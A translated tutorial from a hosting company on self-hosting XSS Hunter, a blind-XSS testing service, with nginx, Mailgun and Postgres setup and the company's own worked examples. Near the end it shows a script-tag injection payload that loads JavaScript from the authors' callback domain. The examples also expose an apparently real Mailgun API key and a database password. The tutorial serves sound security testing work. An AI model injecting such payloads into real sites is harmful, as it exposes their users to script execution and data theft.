Установка XSS Hunter

Original author: Robin Lunde
  • Translation
Публикуем перевод статьи Installing XSS Hunter и проверяем инструкцию на собственном примере.

Спойлер: Всё работает!



Почему XSS Hunter?


Многие читатели, вероятно, уже знают, что можно зарегистрироваться на сайте https://xsshunter.com/ и бесплатно использовать xsshunter. В двух словах, это инструмент, который применяют в основном для поиска blind XSS. Зачем тогда разворачивать собственный сервис для этой задачи, спросите вы.

  1. Всё под контролем. Если что-то пойдет не так, вы сможете проверить и изучить проблему.
  2. Стабильность. Вы точно знаете, работает сервис или нет. Можно самостоятельно решать, когда его остановить. Представьте, что у вас готовы к выполнению сотни наборов данных, а обладатель сервиса его внезапно выключает. Это было бы печально!
  3. Вы контролируете данные. Компании обычно не любят багхантеров, использующих сторонние решения, поскольку в таком случае не могут проверить, удалены данные или нет.

Бонус: Благодаря статье, вы узнаете, как всё устроено.
Если этой статьи вам будет недостаточно, рекомендуем прочитать работу наших коллег из компании «Инфосистемы Джет».



Как использовать?


Руководство по использованию XSS Hunter можно найти на сайте GitHub XSS Hunter.

Это отличный старт, но данное руководство немного устарело. Та же ситуация и с кодовой базой, поэтому для работы в Ubuntu 18.04 мне пришлось кое-что изменить. В статье я расскажу, как все-таки работать с XSS Hunter.

Первые шаги


На этом этапе я беру за основу официальное руководство.

Также мы подразумеваем, что у вас есть рабочий сервер и базовый опыт управления сервером. Несмотря на это, я все-таки попробую углубиться. Не стесняйтесь задавать вопросы!

Нам потребуется:

  • VPS или другое место для размещения сервиса

Мы повторяли инструкцию автора на примере VDS Timeweb: timeweb.com/ru/services/vds. Далее в статье мы делимся, что получилось у нас на каждом этапе, в скрываемых спойлерах.

  • Доменное имя (Легко можно найти и купить. Например, 1, 2, 3)

У нас: timeweb.com/ru/services/domains.

  • Wildcard-сертификат. Следуя руководству, получите один сертификат для домена, который вы купили. По этой ссылке также представлена официальная документация.

Рекомендуем ознакомиться с данными инструкциями:


Установка XSS Hunter


Получение учетной записи mailgun


1. Зарегистрируйте учетную запись mailgun здесь. Не забудьте убрать галочку, отмечено ниже на скриншоте.



2. Следуйте инструкциям, чтобы подтвердить адрес электронной почты и номер телефона.

3. Перейдите на вкладку отправки и выберите свой почтовый домен.



4. Справа в верхней части экрана добавьте адреса электронной почты, куда вы хотите получать оповещения. Это должен быть ваш реальный и актуальный адрес. Например, john.doe@gmail.com.

5. Выполнив указанное выше, нажмите кнопку «Выбрать» в блоке, который выделен надписью API.

6. Запишите ключ API и домен электронной почты. Они вам скоро понадобятся!

Домен электронной почты — это последняя часть базового URL-адреса API: sandboxe678.

Наш пример
Домен электронной почты в нашем случае: sandbox82f7e729ed934d1189bcc6bd32aaa977.



7. Откройте почту и найдите письмо от mailgun.

8. Подтвердите адрес электронной почты, нажав на ссылку в письме.

(Письмо будет отправлено на указанный вами адрес в шаге 4, то есть в нашем случае на john.doe@gmail.com).

Убедимся, что всё работает


Используйте следующую команду для отправки письма со своего сервера, чтобы убедиться, что служба работает.

Замените:

[API_KEY]: ваш ключ API
[API_BASE_URL]: ваш базовый URL API
[YOUR_EMAIL]: ваш реальный email

Например: john.doe@gmail.com.

curl -s --user 'api:[API_KEY]' \
	https://api.mailgun.net/v3/[API_BASE_URL]/messages \
	-F from='Excited User <mailgun@[API_BASE_URL]>' \
	-F to=[YOUR_EMAIL] \
	-F subject='Hello' \
	-F text='Testing some Mailgun awesomeness!'

Примечание: Версия сервиса для стран ЕС имеет другой URL. Быстрый поиск в Google или проверка вашей учетной записи mailgun подскажут вам, что именно изменить.

Примечание от эксперта Timeweb
Не забудьте установить curl:

curl -s --user 'api:67ee2b8a922268ac335eb00262b33711-9b1bf5d3-919027d8' \https://api.mailgun.net/v3/sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org/messages \
	-F from='Excited User <mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>' \
	-F to=r.tkach@timeweb.ru \
	-F subject='Йо' \
	-F text='Тестовое письмо через MailGun'

Ответ при успешной отправке:

{
  "id": "<20201029124602.1.C81E1E4029FB7DC4@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org>",
  "message": "Queued. Thank you."
}


Проверьте свою учетную запись, чтобы убедиться, что вы получили письмо, как в примере ниже. Если письма нет, прежде чем перейти к следующему этапу, необходимо устранить неполадки.

Настройка зависимостей


Сначала установите необходимые пакеты:

# install dependencies
sudo apt-get install nginx && sudo apt-get install postgresql postgresql-contrib

Наш пример
root@372526-twosa:~#  apt-get install nginx && apt-get install postgresql postgresql-contrib


Затем заведите пользователя и базу данных postgres для XSS Hunter. Измените EXAMPLE_PASSWORD на более безопасный пароль. Очень рекомендую использовать менеджер паролей!

sudo -i -u postgres
psql template1
CREATE USER xsshunter WITH PASSWORD 'EXAMPLE_PASSWORD';
CREATE DATABASE xsshunter;
\q
exit

Наш пример
root@372526-twosa:~# sudo -i -u postgres
postgres@372526-twosa:~$ psql template1
psql (10.14 (Ubuntu 10.14-0ubuntu0.18.04.1))
Type "help" for help.

template1=# create user xsshunter with password '6fhQg18YFrna2LbX2EDWHfLoewy32i';
CREATE ROLE
template1=# create database xsshunter;
CREATE DATABASE
template1=# \q


Установка сервиса


Сначала клонируем репозиторий:

git clone https://github.com/mandatoryprogrammer/xsshunter
cd xsshunter

Наш пример
root@372526-twosa:~# git clone https://github.com/mandatoryprogrammer/xsshunter
root@372526-twosa:~# cd xsshunter


Обратите внимание: требуется Python2! Репозиторий не поддерживает Python3.

Чтобы запустить скрипт конфигурации, нам нужно добавить дополнительную зависимость:

# install yaml support for python
sudo apt-get install pyyaml

Наш пример
root@372526-twosa:~/xsshunter# apt install python-pip
root@372526-twosa:~/xsshunter# pip install pyyaml


Благодарим пользователя xYantix за предоставление рабочего решения в этом pull-request.

Настройка сервиса


Отлично, приступим! Мы готовы к запуску скрипта настройки.

# generate yaml config file
./generate_config.py

Наш пример
root@372526-twosa:~/xsshunter# ./generate_config.py


Покажу процесс шаг за шагом. Чтобы увидеть пример вывода, см. пример ниже. Я добавил числа для удобной навигации. В остальном все должно выглядеть одинаково.

1. Введите ваше доменное имя. Я использовал mydomain.com в качестве примера.

Наш пример
У нас это 372526-twosa.tmweb.ru.

2. Введите свой ключ API Mailgun, который вы нашли и сохранили ранее.

3. Введите свое доменное имя Mailgun, которое вы также записали ранее. (То, что начинается с sandbox).

4. Я считаю, это может быть что_угодно@[имя домена Mailgun], но я придерживался стандартного именования от mailgun, так как имя здесь не имеет особого значения. Я предлагаю использовать: mailgun@[имя домена Mailgun]. Не забудьте заменить [имя домена Mailgun] на свое.

5. Это необходимо для того, чтобы люди сообщали о предполагаемом злоупотреблении инструментом. Здесь должен быть указан ваш реальный и актуальный email. Например: john.doe@gmail.com.

6. Если вы повторили все шаги из этой статьи, просто введите xsshunter.

7. Введите пароль, который вы выбрали при создании базы данных. Указано выше, как EXAMPLE_PASSWORD. Замените текст [YOUR_REALLY_SECURE_PASSWORD] вашим паролем EXAMPLE_PASSWORD.

8. Как и в шаге №6, если вы следовали этому руководству, просто введите xsshunter.

Оп! Настройка завершена!

Если вам когда-нибудь понадобится изменить эти значения, вы можете отредактировать их прямо в файле config.yaml.

__   __ _____ _____   _    _             _
\ \ / // ____/ ____| | |  | |           | |
 \ V /| (___| (___   | |__| |_   _ _ __ | |_ ___ _ __
  > <  \___ \\\\___ \  |  __  | | | | '_ \| __/ _ \ '__|
 / . \ ____) |___) | | |  | | |_| | | | | ||  __/ |
/_/ \_\_____/_____/  |_|  |_|\__,_|_| |_|\__\___|_|


	                                           Setup Utility

	(1)
   What is the base domain name you will be using?
	(ex. localhost, www.example.com)
	Domain? mydomain.com

	Great! Now let's setup your Mailgun account to send XSS alerts to.

	(2)
	Enter your API key:
	(ex. key-8da843ff65205a61374b09b81ed0fa35)
	Mailgun API key: 92740xxxxxxxxxxxxxxxxxxxxxxxxxxx-65bxxx58-8ffxxxxx

	(3)
	What is your Mailgun domain?
	(ex. example.com)
	Mailgun domain: sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(4)
   What email address is sending the payload fire emails?:
	(ex. no-reply@example.com)
	Sending email address: 
mailgun@sandboxe6784d1f69d9486484bb8db10ab02380.mailgun.org

	(5)
   Where should abuse/contact emails go?:
	(ex. yourpersonal@gmail.com)
	Abuse/Contact email: xsshunter@mydomain.com

        (6)
	What postgres user is this service using?
	(ex. xsshunter)
	Postgres username: xsshunter

	(7)
	What is the postgres user's password?
	(ex. @!$%@^%UOFGJOEJG$)
	Postgres password: [YOUR_REALLY_SECURE_PASSWORD]

	(8)
	What is the postgres user's DB?
	(ex. xsshunter)
	Postgres DB: xsshunter

	Generating cookie secret...
	Minting new nginx configuration file...

	Setup complete! Please now copy the 'default' file to 
/etc/nginx/sites-enabled/default
	This can be done by running the following:
	sudo cp default /etc/nginx/sites-enabled/default

	Also, please ensure your wildcard SSL certificate and key are available at 
the following locations:
	/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
	/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key

	Good luck hunting for XSS!

Наш пример
  	Setup Utility

What is the base domain name you will be using?
(ex. localhost, www.example.com)
Domain? 372526-twosa.tmweb.ru
Great! Now let's setup your Mailgun account to send XSS alerts to.

Enter your API key:
(ex. key-8da843ff65205a61374b09b81ed0fa35)
Mailgun API key: 67ee**************************-9b*******-919*****

What is your Mailgun domain?
(ex. example.com)
Mailgun domain: sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

What email address is sending the payload fire emails?:
(ex. no-reply@example.com)
Sending email address: mailgun@sandbox82f7e729ed934d1189bcc6bd32aaa977.mailgun.org

Where should abuse/contact emails go?:
(ex. yourpersonal@gmail.com)
Abuse/Contact email: r.tkach@timeweb.ru


What postgres user is this service using?
(ex. xsshunter)
Postgres username: xsshunter

What is the postgres user's password?
(ex. @!$%@^%UOFGJOEJG$)
Postgres password: [EXAMPLE_PASSWORD]

What is the postgres user's DB?
(ex. xsshunter)
Postgres DB: xsshunter

Generating cookie secret...
Minting new nginx configuration file...

Setup complete! Please now copy the 'default' file to /etc/nginx/sites-enabled/default
This can be done by running the following:
sudo cp default /etc/nginx/sites-enabled/default

Also, please ensure your wildcard SSL certificate and key are available at the following locations:
/etc/nginx/ssl/xsshunter.timeweb.ru.crt; # Wildcard SSL certificate
/etc/nginx/ssl/xsshunter.timeweb.ru.key; # Wildcard SSL key

Good luck hunting for XSS!
                                                    	-mandatory


Теперь у вас должно быть 2 новых файла в папке xsshunter:

  • config.yaml (содержит ключи API и учетные данные)
  • default (содержит конфигурацию nginx)

Конфигурация NGINX


Изменим расположение сертификата SSL


Если вы так же, как и я, используете Let's Encrypt, вам необходимо изменить файл default.

Чтобы конфигурация работала с настройками Let's Encrypt по умолчанию, мы должны закомментировать все вхождения:

/etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
/etc/nginx/ssl/mydomain.com.key; # Wildcard SSL key

и заменить на

ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem ; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # managed by Certbot

Примечания:

1. Замените mydomain.com на свое доменное имя!

2. Всё после символа # является комментариями. Вы можете удалить их, если хотите.

Теперь ваш файл default должен выглядеть так:

server {
    # Redirect HTTP to www
    listen 80;
    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # Redirect payloads to HTTPS
    listen 80;
    server_name *.mydomain.com;
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://$host$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
    # Redirect HTTPS to www
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name mydomain.com;
    location / {
        rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
    }
}

server {
    # API proxy
    listen 443;
    ssl on;

    # New conf
    ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

    # Original conf
    #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
    #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key

    server_name *.mydomain.com;
    access_log /var/log/nginx/mydomain.com.vhost.access.log;
    error_log /var/log/nginx/mydomain.com.vhost.error.log;

    client_max_body_size 500M;

    location / {
        proxy_pass  http://localhost:8888;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
}

server {
    # Redirect api to HTTPS
    listen 80;
    server_name api.mydomain.com; # Subdomain for API server
    proxy_set_header X-Forwarded-For $remote_addr;

    return 307 https://api.mydomain.com$request_uri;
    client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.mydomain.com;
   location / {
       rewrite ^/(.*)$ https://www.mydomain.com/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.mydomain.com;
   client_max_body_size 500M;
   ssl on;

   # New conf
   ssl_certificate /etc/letsencrypt/live/mydomain.com-0001/fullchain.pem; # 
managed by Certbot
   ssl_certificate_key /etc/letsencrypt/live/mydomain.com-0001/privkey.pem; # 
managed by Certbot

   # Original conf
   #ssl_certificate /etc/nginx/ssl/mydomain.com.crt; # Wildcard SSL certificate
   #ssl_certificate_key /etc/nginx/ssl/mydomain.com.key; # Wildcard SSL 
certificate key


   location / {
       proxy_pass  http://localhost:1234;
       proxy_set_header Host $host;
   }
}

Наш пример
server {
	# Redirect HTTP to www
	listen 80;
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# Redirect payloads to HTTPS
	listen 80;
	server_name *.372526-twosa.tmweb.ru;
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://$host$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
	# Redirect HTTPS to www
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key
    
	server_name 372526-twosa.tmweb.ru;
	location / {
    	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
	}
}

server {
	# API proxy
	listen 443;
	ssl on;
    
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

	server_name *.372526-twosa.tmweb.ru;
	access_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.access.log;
	error_log /var/log/nginx/372526-twosa.tmweb.ru.vhost.error.log;

	client_max_body_size 500M;

	location / {#
    	proxy_pass  http://localhost:8888;
    	proxy_set_header Host $host;
    	proxy_set_header X-Forwarded-For $remote_addr;
	}
}

server {
	# Redirect api to HTTPS
	listen 80;
	server_name api.372526-twosa.tmweb.ru; # Subdomain for API server
	proxy_set_header X-Forwarded-For $remote_addr;

	return 307 https://api.372526-twosa.tmweb.ru$request_uri;
	client_max_body_size 500M; # In case we have an extra large payload capture
}

server {
   # Redirect www to HTTPS
   listen 80;
   server_name www.372526-twosa.tmweb.ru;
   location / {
   	rewrite ^/(.*)$ https://www.372526-twosa.tmweb.ru/$1 permanent;
   }
}

server {
   # GUI proxy
   listen 443;
   server_name www.372526-twosa.tmweb.ru;
   client_max_body_size 500M;
   ssl on;
   
	ssl_certificate /etc/letsencrypt/live/372526-twosa.tmweb.ru/fullchain.pem; # Wildcard SSL certificate
	ssl_certificate_key /etc/letsencrypt/live/372526-twosa.tmweb.ru/privkey.pem; # Wildcard SSL certificate key

   location / {
   	proxy_pass  http://localhost:1234;
   	proxy_set_header Host $host;
   }
}


Применим конфигурацию NGINX


Следующий шаг — это переместить файл в папку nginx. Считается хорошей практикой иметь файлы конфигурации в папке .../sites-available, а затем создавать символические ссылки на конфигурации, которые вы используете, на .../sites-enabled. Мы поступим именно так.

Я называю файл конфигурации так, чтобы из названия было понятно, к какому сервису он принадлежит.

Ниже описано, как это сделать!

# move file and give proper name
cp xsshunter/default /etc/nginx/sites-available/xsshunter-mydomain.com

# symlink the file to sites-enabled to make it active
ln -s /etc/nginx/sites-available/xsshunter-mydomain.com 
/etc/nginx/sites-enabled/xsshunter-mydomain.com

# test for errors in the configuration
sudo nginx -t

# if no errors, restart nginx for changes to take effect
sudo systemctl restart nginx

Наш пример
root@372526-twosa:~/xsshunter# cp default /etc/nginx/sites-available/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# ln /etc/nginx/sites-available/372526-twosa.tmweb.ru /etc/nginx/sites-enabled/372526-twosa.tmweb.ru
root@372526-twosa:~/xsshunter# nginx -t
root@372526-twosa:~/xsshunter# systemctl restart nginx


Если вы никогда раньше не запускали nginx, последняя команда должна быть следующей:

sudo systemctl start nginx

Установка сервера API


Во-первых, серверу API также нужны определенные зависимости.

В руководстве сказано, что нужно выполнить следующую команду:

sudo apt-get install python-virtualenv python-dev libpq-dev libffi-dev

Наш пример
root@372526-twosa:~/xsshunter# apt-get install python-virtualenv python-dev libpq-dev libffi-dev

Стоит добавить, что возможно python-virtualenv придется проинсталлировать посредством pip.


Попробуйте повторить!

К сожалению, у меня не получилось запустить команду virtualenv, поэтому я установил сервер API с помощью

pip install virtualenv

Проблема решена, я смог продолжить!
Перейдем в нужную директорию.
Оказавшись в нужном каталоге, необходимо создать виртуальную среду.
Вот как это сделать:

# change folder - you know that already!
cd xsshunter/api

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env

Наш пример
root@372526-twosa:~/xsshunter# cd xsshunter/api
root@372526-twosa:~/xsshunter/api# which python2
/usr/bin/python2
root@372526-twosa:~/xsshunter/api# virtualenv -p /usr/bin/python2 env
Running virtualenv with interpreter /usr/bin/python2
New python executable in /root/xsshunter/api/env/bin/python2
Also creating executable in /root/xsshunter/api/env/bin/python
Installing setuptools, pkg_resources, pip, wheel...done.


Убедитесь, что вы изменили MY/EXECUTABLE/PATH в последней команде на то, что было на выходе команды which python2. Для меня это: /usr/bin/python2.

После того, как мы создали виртуальную среду, активируйте ее с помощью следующей команды. Вы должны заметить изменение в вашей командной строке.

# activate environment
. env/bin/activate

Наш пример
root@372526-twosa:~/xsshunter/api# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/api# ls
apiserver.py  env  logs  models  probe.js  requirements.txt  templates




Наблюдаются также проблемы с зависимостями, поскольку репозиторий активно не поддерживается.

Таким образом, мы должны внести следующие изменения в файл requirements.txt:

1. psycopg2 == 2.6.1 => psycopg2 == 2.7.3.1
2. bcrypt == 2.0.0 => bcrypt == 3.1.7

Используйте любимый текстовый редактор для этого. Я пользуюсь VIM.

Как только это будет сделано, пора установить все зависимости и запустить сервер API, чтобы убедиться, что все работает должным образом. Давайте попробуем!

# install requirements
pip install -r requirements.txt

# run the API server
./apiserver.py

Наш пример
(env) root@372526-twosa:~/xsshunter/api# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/api# ./apiserver.py


Команда установки должна вывести данные. Api-сервер не должен ничего выводить. Отсутствие вывода — хорошие новости!

Мы хотим внести еще одно изменение, прежде чем закончить настройку сервера api. Первоначально он прослушивает интерфейс 0.0.0.0, но мы проксируем через NGINX. Это означает, что в этом нет смысла. Мы настроим сервер на прослушивание на localhost. Это позволит избежать путаницы и проблем.

Используя текстовый редактор, измените строку 684 в apiserver.py с
app.listen( 8888 ) на app.listen( 8888, «localhost» ).

Спасибо swarley7 за то, что поделился решением в этом pull request.

Наконец-то: Ошибка, из-за которой загрузки не работают должным образом, если папка /uploads не существует. Этим поделился sampsonc в этом pull request.

Давайте создадим папку и продолжим!

# create uploads folder
mkdir xsshunter/api/uploads

Установка GUI-сервера


Этот процесс очень похож на процесс на сервере api, только проще.

Переходим в папку gui, создаем виртуальную среду, активируем ее и устанавливаем зависимости.

# change folder - you know that already!
cd xsshunter/gui

# find your Python2 executable path
which python2

# create a python2 virtual environment in the env folder
virtualenv -p MY/EXECUTABLE/PATH env

# activate environment
. env/bin/activate

# install requirements
pip install -r requirements.txt

# run the GUI server
./guiserver.py

Наш пример
root@372526-twosa:~/xsshunter# cd xsshunter/gui
root@372526-twosa:~/xsshunter/gui# which python2
/usr/bin/python2
(env) root@372526-twosa:~/xsshunter/gui# virtualenv -p /usr/bin/python2 env
(env) root@372526-twosa:~/xsshunter/gui# . env/bin/activate
(env) root@372526-twosa:~/xsshunter/gui# pip install -r requirements.txt
(env) root@372526-twosa:~/xsshunter/gui# ./guiserver.py


Опять же, как и при установке API-сервера:

Убедитесь, что вы изменили MY/EXECUTABLE/PATH в последней команде на то, что было на выходе команды which python2. Для меня это: /usr/bin/python2.

Здесь также отсутствие вывода при запуске ./guiserver — это хорошая новость.

Также, как и в случае с сервером API, мы хотим проксировать все соединения через NGINX, поэтому серверу не нужно прослушивать интерфейс 0.0.0.0.

Используя текстовый редактор, измените строку 70 в guiserver.py с
app.listen( 1234 ) на app.listen( 1234, «localhost» ).

Последние штрихи


Первый шаг — запустить оба сервера. В оригинальном посте в блоге предлагается использовать tmux. Он не идеален для продакшена, но мы хакеры, так что давайте все равно сделаем это! Если вам нужен более стабильный сервис, я оставлю это вам в качестве упражнения.

Вот как запустить это все с помощью tmux. Если вам нужна помощь, здесь есть отличная шпаргалка!

# start a session
tmux session -new xsshunter

# change to api directory
cd xsshunter/api

#run api server
./apiserver

# open new pane
[ctrl]+[b] -> [c]

# change to gui directory
cd xsshunter/gui

# run gui server
./guiserver

# detach from session
[ctrl]+[b] -> [d]

# extra: if you want to open the session again
tmux attach-session -t xsshunter

И последнее!

Откройте свой домен и посмотрите, приветствует ли вас страница xsshunter!
Она должен выглядеть так же, как первая страница сайта xsshunter.com.

Получилось? Поздравляю!
Время разливать пиво по бокалам!



Проверим работоспособность
Переходим на страницу (https://www.372526-twosa.tmweb.ru/signup) регистрации своего профиля и заполняем форму регистрации.



Со страницы www.372526-twosa.tmweb.ru/app из вкладки Payload возьмем для проверки какой-нибудь пейлоад. Например:

"><script src=https://tw.372526-twosa.tmweb.ru></script>

Для элементарной проверки мы можем создать пустой html-файл и просто вставить туда этот пейлоад.



Запустим этот файл в браузере и увидим успешную отработку пейлоада: js отработал, обратился к нашему стенду, получил скрипт js_callback и сделал свое дело.



В результате мы видим отчеты в нашем профиле в XSS Hunter:



а также на почте:



It works! Попробуйте и Вы на нашем стенде!

Пример нашего стенда: www.372526-twosa.tmweb.ru.

Если вы еще не смотрели сериал «Красавцы» (Entourage), можно начать прямо сейчас!

Заключение


Мне не нравится запускать что-то как root либо обычный пользователь, поэтому, чтобы запустить это как www-data, я сделал следующий скрипт, чтобы сделать его немного проще.

Замените apiserver.py на guiserver.py, чтобы иметь по одному скрипту для каждого сервера. Я буду рад, если вы будете использовать этот прием.

Shell-скипт для использования виртуального окружения и запуска сервера API:

#!/bin/sh
. env/bin/activate && python apiserver.py

Запуск скрипта как www-data из соображений безопасности:

# execute script above as www-data user
sudo -u www-data ./run.sh

Готово!

Спасибо за внимание. Надеюсь, было полезно!
Timeweb
VDS, виртуальный хостинг, домены, серверы

Comments 1

    0
    Зачем тогда разворачивать собственный сервис для этой задачи, спросите вы.

    0. Чтобы не нарушать NDA и не кидать данные по пентесту направо налево.

    Only users with full accounts can post comments. Log in, please.